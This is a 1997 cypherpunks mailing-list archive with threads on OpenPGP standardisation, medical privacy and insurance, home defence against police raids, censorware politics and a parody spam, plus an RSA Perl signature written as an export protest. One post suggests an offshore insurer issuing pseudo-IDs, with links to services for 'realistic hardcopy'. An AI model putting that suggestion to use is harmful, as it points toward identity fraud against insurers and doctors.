them.  Lutz's draft was not sympathetic with PGP Inc's CMR, and even
included SHOULD features encouraging separate storage keys.  

John Noerenberg (appointed IETF chair) over-ruled Lutz, and wrested
editing of the draft from him, and demonstrated some petty power
wielding in over ruling a vote on terminology Lutz had set up -- Lutz
had already said he didn't care about the outcome, and just called the
vote as a quick way to resolve argument.  Now we are waiting for Jon
Callas to release the new draft.  Wonder whether it will include CMR
or not :-)

Join in the battle: subscribe by sending email with body 
"subscribe ietf-open-pgp" to <majordomo@imc.org>.  The list address
for posting articles is <ietf-open-pgp@imc.org>

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Oct 1997 02:34:17 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Cpunk Hots: E-Cash
In-Reply-To: <1.5.4.32.19971030134345.00b58944@pop.pipeline.com>
Message-ID: <3.0.3.32.19971030101415.0070f7e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:43 AM 10/30/1997 -0500, John Young wrote:
>Village Voice reviews "Close to the Machine: Technophilia
>and Its Discontents," by Ellen Ullman, City Lights, 189 pp.
>$12.95 paper.
>
>Ullman, a Silicon Valley programmer, "describes having
>an affair with a young cypherpunk: 'we sat with our legs
>extended across the sofa, not quite touching, and we were
>going to talk about electronic cash.' "

I read it this past weekend; it's a _great_ book.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Oct 1997 02:25:52 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102806b07e577ec20a@[207.167.93.63]>
Message-ID: <3.0.3.32.19971030102000.006d802c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:44 AM 10/30/1997 -0600, Igor Chudov @ home wrote:
>How about a big dog (living in a doghouse or inside the home) that is
>properly trained? I think that it is the best and most sensitive early
>warning system.

Invading Feds shoot big dogs, though I suppose gunshots are a warning.
Little yappy annoying dogs are often a more sensitive early warning
system, and aren't perceived as a threat.

>> >Another question about home defense: it must be really inconvenient
>> >to perform all these self-defense actions naked, which would obviously
>> >happen during these night raids and robberies.
>> >Is that a problem, and if yes, what are the solutions?

Makes it easier for cops to see that you're not a threat,
or that you are a threat.  If your underwear's not Kevlar,
it's not contributing much to the process, and cops are
probably more embarassed about beating up naked people.

On the other hand, naked with blue woad warpaint is a different game :-)


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 31 Oct 1997 02:25:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <v03102809b07e63edadc1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.971030101738.14796A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 30 Oct 1997, Tim May wrote:

> At 8:50 AM -0700 10/30/97, Secret Squirrel wrote:
> 
> >The really good way to protect your medical privacy is to self insure.
> >Most people are happy with policies that tap out at $1 million.  If
> >you would be happy with such a policy, then all you need is $1 million
> >to protect your privacy.  It is likely that this $1 million will not
> >ever be consumed by health care costs.  (Probably much less likely
> >than that a policy holder will hit that limit.  People tend to spend
> >their own money more responsibly than somebody else's.)
> 
> I used to think this was so, too. But there's a certain kind of market
> failure at work. (Actually, it's not a market failure at all....it's a
> manifestation of the market. Read on.)
> 
> It turns out that if I have to go to the local hospital, the daily rate for
> a hotel room will be something like $2000 a day. Exclusive of whatever
> treatments I'm receiving, of course.
> 
> Turns out that Blue Cross and Blue Shield have negotiated, through enormous
> buying power, daily rates of about $700 a day. (These numbers come from my
> memory of a "60 Minutes" report a few years ago. Details and current
> figures may vary.)
> 
> Listed prices are the "sucker rates," kind of like the posted prices for
> out-of-towners, with locals getting a discount. And these pricing
> differences apply to the whole range of procedures. For example, an
> insurance company might have negotiated--over many years of intense
> negotiations--a fee of $100,000 for a liver transplant, but a "cash-paying
> customer" (a victim, a mark, a sucker) would pay the list price, e.g.,
> $300,000.

Actually, the real "sucker rates" are the amounts small businesses pay for
insurance.

The big businesses (who can buy in bulk) get a pretty reasonable deal for
what they get.  The smaller companies who cannot bargain the price down
get screwed.  (The rate my wife's employer was paying was close to double
what my insurance costs and it covered ALOT less.)

I seriously doubt that most people could afford to self-insure at the
going rate.  (Not unless they have some serious income they want to get
rid of.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Fri, 31 Oct 1997 01:13:07 +0800
To: cypherpunks@toad.com
Subject: Request For Cash: TruthMailer services at dev.null
Message-ID: <199710301656.KAA24695@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



The TruthMailer service at dev.null has become very unpopular. So
unpopular, in fact, that we are now approaching limitations in what 
our abuse department can handle. The great outrage this weekend and
subsequent delays in spamming various mailing lists are the result 
of this. For our immediate needs, we could sure use some more DRUGS,
ALCOHOL, and BROADS.
If a million people could donate $1,000 apiece, this would be great.
If one million people donate $100,000 apiece, we can buy Micro$oft. 
Anonymous snail mail with anonymous cash (US dollars or money order)
would be appreciated. If you want to be acknowledged as a donor on
our arrest sheets, we can do that too. The address to send to is: 

Electronic Forgery Foundation
Box 281,
Bienfait, Saskatchewan
      CANADA  S0C 0M0

A thousand bucks or whatever you can afford. We'll take drug, alcohol
and loose women donations, too.
Contact Louis J. Freeh <toto@sk.sympatico.ca> if you have something
to donate. It might be a sting operation, but I'm not sure; Louis
will know.

PCP DustMan / Home Drug Lab for Molecular Structure and Design
For an anti-reality drug recipe, send me mail with subject "Hi(gh)".
Append "+realitysucks" to my abusername to ensure entrapment.
Decryption is too important to leave to the recipient--Louis J. Freeh

          O         "I'm from BassMasters, and I'm here to help you."
          |/------o   
  -\______|___/-  |
~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~
                  |
                  |/    <}+++<

*===================================================================*
To unsuscribive or scrivibe send a message of UNSCRIVE or SUBRIVE to
the email address _fuck_you_morons_@whitehouse.gov





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 31 Oct 1997 00:41:43 +0800
To: cypherpunks@cyberpass.net
Subject: Swallow all liquids before reading this...
Message-ID: <v0311072fb07e601524b4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



... as you may blow it all out your nose...

Cheers,
Bob Hettinga

--- begin forwarded text


Resent-Date: Wed, 29 Oct 1997 18:38:23 -0800 (PST)
X-Authentication-Warning: weber.ucsd.edu: procmail set sender to
rre-request@weber.ucsd.edu using -f
X-Authentication-Warning: weber.ucsd.edu: Processed from queue
/usr/spool/mqueue/rqueue
Date: Wed, 29 Oct 1997 18:31:31 -0800 (PST)
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: Appraising Microsoft and Its Global Strategy Conference
Resent-From: rre@weber.ucsd.edu
Reply-To: rre-maintainers@weber.ucsd.edu
X-URL: http://communication.ucsd.edu/pagre/rre.html
X-Mailing-List: <rre@weber.ucsd.edu> archive/latest/1714
X-Loop: rre@weber.ucsd.edu
Precedence: list
Resent-Sender: rre-request@weber.ucsd.edu


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[I don't have the original header.]

Appraising Microsoft and Its Global Strategy Conference
November 13 and 14, 1997
The Omni Shoreham Hotel
Washington, D.C.

Please join Scott McNealy, CEO of Sun Microsystems, Roberta Katz,
General Counsel for Netscape Communications and Christine Varney, Former
Federal Trade Commissioner among others at the Appraising Microsoft and
Its Global Strategy Conference cosponsored by Ralph Nader and Essential
Information.

The following  is a list of confirmed speakers:
     Garth Saloner, Stanford University
     Morgan Chu, Irell & Manella
     Roberta Katz, General Counsel for Netscape Communications
     Audrie Krause, NetAction
     Bill Wendel, The Real Estate Cafe
     Scott McNealy, CEO of Sun Microsystems
     Christine Varney, Former FTC Commissioner
     Ralph Nader, Consumer Advocate
     Steve Susman, Susman and Godfrey
     Gary L. Reback, Esq., Wilson, Sonsini, Goodrich & Rosati
     Financial services: Bill Randle, VP Huntington Bancshares
     Consumer products: CEO and President Philip Monego, NetChannel
     Bryan Sparks, CEO Caldera, Inc.
     James P. Love, Consumer Project on Technology
     Graham Lea, Principal Analyst of Heterodox (London)
     Andrew Schulman, Consulting Editor O'Reilly and Association
     Steve Hill, Esq., Snow Christensen
     Rick Ross, Java Lobby
     Daniel Nachbar, Public Software Institute
     John Perry Barlow, Co-founder of the Electronic Frontier Foundation
     Sam Goodhope, Texas Attorney General's Office.
     Wendy Goldman Rohm, author

Please see our web page for more information and registration
materials.  If more than five people from your organization/company
would like to attend, we will give a 30% registration discount.

http://www.appraising-microsoft.org/

For more information please call Caroline Jonah or Donna Colvin at
(202)387-8030.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 31 Oct 1997 00:41:13 +0800
To: cypherpunks@cyberpass.net
Subject: Victim Ordered to Surrender Computer and Passwords
Message-ID: <v03110744b07e64c03d53@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Thu, 30 Oct 1997 10:11:33 -0500
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Cc: bostic@bsdi.com
Subject: Victim Ordered to Surrender Computer and Passwords
Date: Thu, 30 Oct 1997 10:04:22 -0500
From: glen mccready <glen@qnx.com>
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2399
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Peter Tonoli <anarchie@brimstone.suburbia.net>

Date: Mon, 27 Oct 1997 03:02:58 -0500
From: David Kennedy <76702.3557@compuserve.com>
Subject: Victim Ordered to Surrender Computer and Passwords

Approved: proff@suburbia.net

Cyber Allegations (AP US & World  21 Oct 1997)

>   PONTIAC, Mich. (AP) -- A woman who said she was sexually assaulted by a
> man she met through an on-line "chat room" has been ordered to turn over
> her computer for examination by the defendant's lawyer.  Circuit Judge
> Alice Gilbert issued the order Oct. 8 after the defendant said another
> computer user told him that the woman had bragged on-line -- in a chat
> room called "Man Haters" -- about making up the story.  The woman was
> also ordered to reveal her password and on-line aliases.

o The accused, a 26-year old is alleged to have pulled a knife and attacked
the victim after a date on Feb 28th.  Prosecutors have said they will
appeal.

> "In my view, turning over somebody's computer these days is the same as
> asking to go through their diary or mail," said prosecutor John
> Pietrofesa.  Inspecting computer records from the opposing side, while
> relatively new in criminal cases, has become common in civil cases, said
> Michigan lawyer and computer law expert Robert A. Dunn.  In civil cases, a
> judge will institute safeguards such as making both sides sign a
> confidentiality agreement that information gleaned from computer records
> will not be disclosed outside of court, he said.

Dave Kennedy CISSP, National Computer Security Assoc

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Georg Uphoff <Georg.Uphoff@uni-konstanz.de>
Date: Thu, 30 Oct 1997 19:28:56 +0800
To: cypherpunks <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01bce51f$2d179b80$98582286@pop03893>
MIME-Version: 1.0
Content-Type: text/plain




 
Georg Josef 
UphoffStud.iur.<A 
href="mailto:georg.uphoff@uni-konstanz.de">georg.uphoff@uni-konstanz.de
<FONT color=#000000 face=Garamond 
size=4><<<<<<<PGP-KEY(S) ON 
REQUEST>>>>>>>>


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 31 Oct 1997 01:54:48 +0800
To: tcmay@got.net (Tim May)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102806b07e577ec20a@[207.167.93.63]>
Message-ID: <199710301745.RAA20069@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 8:43 AM -0700 10/30/97, Igor Chudov @ home wrote:
> >Tim May wrote:
> >>
> >> And so it goes. This is why I have 3000 rounds of .223 stashed away, and
> >> several loaded weapons readily available. And an early warning system in
> >> case the night ninjas decide my house needs to be raided before dawn.
> >
> >What kind of early warning system is it, technically?
> 
> Well, now that wouldn't be very smart of me, would it, to tell the world
> where my defensive measures are? (I'm willing to let would-be ninjas know
> that I won't take a no-knock raid without fighting back, as this may deter
> them, in classic game-theoretic terms, but not to tell them precise details
> of my defenses.)
> 
> Check the ads in the gun and survival mags for ideas. Seismic (footfall,
> vehicle) detectors are affordable, but hard to monitor on a 24/7 basis.
> Simple photolectric vehicle detectors are useful. In my case, I have a
> private driveway about 100 meters long as the only access to my house. Not
> to hard to rig up methods to warn of vehicles approaching...harder to warn
> of men approaching on foot. And even harder if they come up through the
> brush and chapparal on the other 3 sides.

Which is what any sensible attacker would do anyway.

How about a big dog (living in a doghouse or inside the home) that is
properly trained? I think that it is the best and most sensitive early
warning system.

> >Another question about home defense: it must be really inconvenient
> >to perform all these self-defense actions naked, which would obviously
> >happen during these night raids and robberies.
> >
> >Is that a problem, and if yes, what are the solutions?
> 
> The usual advice is to secure one's bedroom for immediate invasion. (My
> bedroom is on the second floor, too.) This helps with burglars as well as
> with ninjas. For example, lock the bedroom door. This will slow down
> attackers, who first have to gain access to the main house, then have to
> get in the bedroom. The noise from the first step should provide valuable
> seconds of awakening, grabbing a gun, etc. I don't think a locked bedroom
> door will stop an entry team from getting inside in a matter of seconds,
> but every second helps.

How about reinforced metal sheet doors? THose are not supposed to be too
expensive and can be made to look pretty.

> (Experts also advise that homeowners facing such assaults "stay put,"
> unless, of course, they have to defend other family members in other rooms.)

Are there any legal ramifications (like liability in case of death of
the intruders) if the homeowner gets out of the locked bedroom and shoots
the attackers? 

> And ignore the advice from the Consumer Protection Safety Commission, etc.,
> to lock all guns up in safes or vaults or closets. A gun locked up in a gun
> safe can't be gotten to when it's really needed, can it?

Depends on a safe, really.

My understanding of all this, which is pretty limited, is that safes are
a good idea for storing things when the homeowner is not home or does not
immediately control access to valuable things.

> Suzie from finding the gun. For children old enough to understand orders,
> and what guns are, tell them exactly what a gun does, show them, educate
> them, and warn them to NEVER touch the gun or show it to their friends

I would never follow any fucking orders from my parents.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eagle One <eagleone@inorbit.com>
Date: Fri, 31 Oct 1997 04:27:49 +0800
To: cypherpunks@toad.com
Subject: PGP question
Message-ID: <3.0.3.32.19971030120737.038ce280@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain



Not being very knowledgeable in the cypher world, are there any good online
references that compare RSA vs DSS PGP?  and why one would be better than
the other?

thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 03:45:18 +0800
To: cypherpunks@toad.com
Subject: Internet Censorware Summit, Clinton to speak, Dec 1-3
In-Reply-To: <v03007808b07e6bfb2ec6@[168.161.105.141]>
Message-ID: <v03007802b07e7407dce0@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 09:20 -0800 10/30/97, James S. Tyre wrote:
>Showing my ignorance, what's the "real" censorware summit?

Check out http://www.kidsonline.org/  -- it's a hoot. Praises the CDA as a
"well-intentioned effort to protect children." Grew out of the White
House's kickoff Censorware Summit in July; Clinton is expected to speak at
this one. Scheduled for Dec 1-3 here in DC. Chaired by former Clinton
campaign official and former FTC "protect the children" Commissioner
Christine Varney. (This is not to criticize Varney; I rather like her
personally, but politically, well...)

The Censorware Summit is organized largely by industy groups -- America
Online initially took the lead role -- and sympathetic advocacy groups.
Donna Rice-Hughes (yes that Donna Rice) is heavily involved, as operations
co-chair or something (I forget her real title). Sydney Rubin
(syd@kidsonline.org), a public relations rep for CyberPatrol, is handling
media registration. The Center for Democracy and Technology is hosting the
kidsonline.org web site.

Following is a quote from the web site. Note it talks about how we need
stricter enforcement of obscenity laws -- one of the worst ideas I've heard
in a while. Remember Robert Thomas -- why should S.F. or NYC be subject to
the "community standards" of Tennessee? *sigh*

>The summit will seek to advance the following objectives in accordance with
>Presidential and Congressional statements on Internet use by children:
>
>       Technological Solutions: Encouraging market-based development and
>       deployment of an effective, easy-to-use "digital toolbox" of user
>       empowerment tools which can assist parents and others responsible for
>       children, in shielding those children from material they deem
>inappropriate
>       and shaping children's communication and information options online; to
>       enable access to positive content and communications based on
>individual
>       values; and to enable service and content providers, and others, to
>create
>       family-friendly environments.
>
>       Enforcement of Current Law: Fostering greater cooperation among
>       law enforcement, industry, and the public, to support vigorous
>       enforcement of existing laws against using the Internet to traffic
>in obscene
>       material and child pornography, stalk children, and commit other
>crimes.

Fortunately there's a coalition forming to oppose this. That is,
emphasizing the free speech implications of rating and filtering proposals.
I understand details will be made public soon. As I said:

>>Look for the usual suspects to stand up and wave around censorware
>>programs, blissfully ignoring the fact that the Supreme Court ruled
>>recently that the Net should be as free as print or a public square. Last I
>>checked, print publishers would never endorse any "self-labelling" system
>>to stave off Federal censorship. They'd have the balls to stand up and
>>fight. So should the Net.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 31 Oct 1997 13:58:56 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <7433f6e11aa46cf7b903a8251c3e35b5@squirrel>
Message-ID: <v03102802b07ea536423a@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>I have so far elected to self-insure, i.e., to just pay any medical bills I
>might have out of pocket. However, given this "sucker rate" and the
>increasing unwillingness of hospitals to take patients not in health care
>or insurance programs, I may have little choice but to sign up.

Why not establish an offshore insurance company (e.g., in the Caribbean so
the area code doesn't make it appear outside our boarders) which knows you
true ID, but let's you use a pre-agreed upon pseudo-ID.  They could even
have URLs on their pages to services which could help you out obtaining
realistic hardcopy.

Doctors don't much care as long as they are getting paid and all will
accept out-of-state, many even knowingly out-of-the-country, insurers.
They really don't care about the IDs as long as they match something
insurance company says they'll pay.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 31 Oct 1997 03:36:29 +0800
To: frantz@netcom.com (Bill Frantz)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v0300780fb07e71059b67@[207.94.249.162]>
Message-ID: <199710301913.TAA20846@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Bill Frantz wrote:
> 
> 
> At 7:43 AM -0800 10/30/97, Igor Chudov @ home wrote:
> >Another question about home defense: it must be really inconvenient
> >to perform all these self-defense actions naked, which would obviously
> >happen during these night raids and robberies.
> >
> >Is that a problem, and if yes, what are the solutions?
> 
> Wear underwear to bed.  Then you won't be naked when the alarm goes off.

Underwear is annoying, especially if I sleep with someone.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freematt@coil.com (Matthew Gaylor)
Date: Fri, 31 Oct 1997 02:27:08 +0800
To: cypherpunks@toad.com
Subject: Encryption Policy in the Spotlight At Free-Market.Net
Message-ID: <v02130500b07e7f407762@[198.4.94.185]>
MIME-Version: 1.0
Content-Type: text/plain



From: "Free-Market.Net" <chris@free-market.net>
Subject: FMNews: Encryption Spotlight, Deadline for Drawing



Free-Market.Net News Announcement
---------------------------------

In this update:

        * Encryption Policy in the Spotlight

        * Spooky Deadline for Lifetime Membership Give-Away


Encryption Policy in the Spotlight
----------------------------------
<http://www.free-market.net/features/spotlight/>

If you're a little unclear about the difference between
56-bit and 128-bit encryption keys, or the difference between
the U.S. government's Clipper Chip and their key escrow plan,
come check out the Policy Spotlight. This month's issue gives
a basic overview of the science and politics of encryption,
and then offers a couple dozen kilobytes of links for more
information.

We recommend free-market materials from the likes of the Cato
Institute, Reason Magazine, HotWired, Forbes, David Friedman,
Phil Zimmerman, and Free-Market.Net advisor Bill Frezza.
There's also some anti-encryption materials, for you serious
students with a strong stomach. And if you're feeling
adventurous, there are some fun links like the one that lets
you become an international arms trafficker with the click
of a button (by sending code for an encryption program to
a server overseas).

J.D. Tuccille has contributed a Media Spotlight called
"Frustrating the Snoops." As happens oh-so-rarely, the mass
media seems to be on our side on this one. As J.D. writes,
"The personal stake that journalists have in protecting free
speech and keeping secrets pretty much made it a given that
once they grasped the concept, they'd become big fans --
and users -- of encryption.... Now, if we could only get more
reporters to run small businesses, shoot and ride motorcycles
without helmets."

Come check out the Policy Spotlight at:
<http://www.free-market.net/features/spotlight/>.

After you do, hop on over to the Free-Market Forum
on encryption, and hop on the soapbox yourself.


Spooky Halloween Deadline for Lifetime Membership Give-Away
-----------------------------------------------------------
<http://www.free-market.net/features/lottery/>

When the clock strikes midnight on Halloween -- October 31 --
you'd better be registered to win this month's free lottery,
or else... or else... you can *not* win!

I'm sorry to scare you like that, but it's true. Friday is
the deadline for entries in this month's drawing for a free
lifetime membership in Free-Market.Net. One of you will win
this special membership next week. (And it is special, even
donors that have given $1,000 or more don't have lifetime
memberships.)

Although membership doesn't give you access to any information
that isn't open to the public, it does give you some special
benefits. As a member, you could receive fully-customized
reports with the new events, home pages, contests, jobs, etc.
that are of interest to you. You would also get a permanent
e-mail alias, like <Galt@Free-Market.Net>; and a home page
on the Free-Market.Net Web site. These are just some of
the tangible membership benefits -- as a member you can
participate in the Free-Market.Net community and help shape
how we promote free-market ideas online.

Stop by <http://www.free-market.net/about/members.html>
for more info on memberships and how to join, and stop by
<http://www.free-market.net/features/lottery/> to sign-up
for the lottery.

Remember, even if you have entered a lottery before, you
still need to register to win each month. It's no big deal.
It just requires your e-mail address and approximately
33.5 seconds.



Yours in Liberty,

Chris

P.S. We're lining up a fun lottery prize for next month.
Laissez Faire Books is going to offer an autographed 25th
anniversary edition of "It Usually Begins with Ayn Rand"
by Jerome Tuccille (J.D.'s dad). Sorry to gush, but I
absolutely love this book. It's a semi-fictionalized history
of the modern libertarian movement in the 60's and early 70's.
Real fun stuff.

 Chris Whitten <mailto:chris@free-market.net>

 Free-Market.Net: The online database of the free-market movement.
 The Henry Hazlitt Foundation <http://www.hazlitt.org/>
        401 N. Franklin, Suite 3E, Chicago, IL 60610

 Become a Founding Member of Free-Market.Net!
        <http://www.free-market.net/about/members.html>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 03:21:54 +0800
To: cypherpunks@toad.com
Subject: Internet Censorware Summit, Clinton to speak, Dec 1-3 [resent]
Message-ID: <v03007808b07e8b1b49e2@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 09:20 -0800 10/30/97, James S. Tyre wrote:
>Showing my ignorance, what's the "real" censorware summit?

Check out http://www.kidsonline.org/  -- it's a hoot. Praises the CDA as a
"well-intentioned effort to protect children." Grew out of the White
House's kickoff Censorware Summit in July; Clinton is expected to speak at
this one. Scheduled for Dec 1-3 here in DC. Chaired by former Clinton
campaign official and former FTC "protect the children" Commissioner
Christine Varney. (This is not to criticize Varney; I rather like her
personally, but politically, well...)

The Censorware Summit is organized largely by industy groups -- America
Online initially took the lead role -- and sympathetic advocacy groups.
Donna Rice-Hughes (yes that Donna Rice) is heavily involved, as operations
co-chair or something (I forget her real title). Sydney Rubin
(syd@kidsonline.org), a public relations rep for CyberPatrol, is handling
media registration. The Center for Democracy and Technology, which runs the
pro-censorware netparents.org site, is hosting the kidsonline.org site.

Following is a quote from the web site. Note it talks about how we need
stricter enforcement of obscenity laws -- one of the worst ideas I've heard
in a while. Remember Robert Thomas -- why should S.F. or NYC be subject to
the "community standards" of Tennessee? *sigh*

>The summit will seek to advance the following objectives in accordance with
>Presidential and Congressional statements on Internet use by children:
>
>       Technological Solutions: Encouraging market-based development and
>       deployment of an effective, easy-to-use "digital toolbox" of user
>       empowerment tools which can assist parents and others responsible for
>       children, in shielding those children from material they deem
>inappropriate
>       and shaping children's communication and information options online; to
>       enable access to positive content and communications based on
>individual
>       values; and to enable service and content providers, and others, to
>create
>       family-friendly environments.
>
>       Enforcement of Current Law: Fostering greater cooperation among
>       law enforcement, industry, and the public, to support vigorous
>       enforcement of existing laws against using the Internet to traffic
>in obscene
>       material and child pornography, stalk children, and commit other
>crimes.

Fortunately there's a coalition forming to oppose this. That is,
emphasizing the free speech implications of rating and filtering proposals.
I understand details will be made public soon. As I said:

>>Look for the usual suspects to stand up and wave around censorware
>>programs, blissfully ignoring the fact that the Supreme Court ruled
>>recently that the Net should be as free as print or a public square. Last I
>>checked, print publishers would never endorse any "self-labelling" system
>>to stave off Federal censorship. They'd have the balls to stand up and
>>fight. So should the Net.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 30 Oct 1997 21:22:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <199710291731.RAA00923@server.test.net>
Message-ID: <199710301317.OAA29530@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
>Kent Crispin <kent@bywater.songbird.com> writes:
>> On Wed, Oct 29, 1997 at 11:17:43AM +0000, Adam Back wrote:
>> > The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
>> > they going to do, shoot 1000 unarmed citizens?
>> 
>> The 100 citizens would probably be shot by Mrs Allen.
>
>Heh, yeah.  That's why you need to send in the spread spectrum phone
>first, to let her know what you're planning -- else she'll just think
>it's a ploy by the Feds.

Perhaps she just wants to be left alone???





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leo Papandreou <leo@supersex.com>
Date: Fri, 31 Oct 1997 04:01:39 +0800
To: cypherpunks@toad.com
Subject: Re: Want to see something *REALLY* scary?!!? / Was: World Peace! (of the action) / Was: Our Bum Buddies in Bejing / Was: Was: Kent Square and TiennaChinc State
In-Reply-To: <3457DC5F.7B0E@dev.null>
Message-ID: <Pine.BSF.3.91.971030141934.19734B-100000@lisa.supersex.com>
MIME-Version: 1.0
Content-Type: text/plain





Are the Monger's subtle ironies archived anywhere? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 04:16:49 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Censorware Summit, Clinton to speak, Dec 1-3
In-Reply-To: <3.0.3.32.19971030092040.00af72c4@postoffice.worldnet.att.net>
Message-ID: <v0300780cb07e9625e259@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 13:01 -0500 10/30/97, Declan McCullagh wrote:
>At 09:20 -0800 10/30/97, James S. Tyre wrote:
>>Showing my ignorance, what's the "real" censorware summit?
>
>Check out http://www.kidsonline.org/  -- it's a hoot. Praises the CDA as a
>"well-intentioned effort to protect children." Grew out of the White
>House's kickoff Censorware Summit in July; Clinton is expected to speak at
>this one. Scheduled for Dec 1-3 here in DC. Chaired by former Clinton
>campaign official and former FTC "protect the children" Commissioner
>Christine Varney. (This is not to criticize Varney; I rather like her
>personally, but politically, well...)

Here are the sponsors... --Declan


http://www.netparents.org/summit_part.html

NTERNET SUMMIT:

                           Focus On Children

                              October 1997


The following organizations representing diverse viewpoints support the
development of a national summit on making the Internet online experience more
rewarding and safer for children:

 Industry
                                            Non-Profits
 America Online
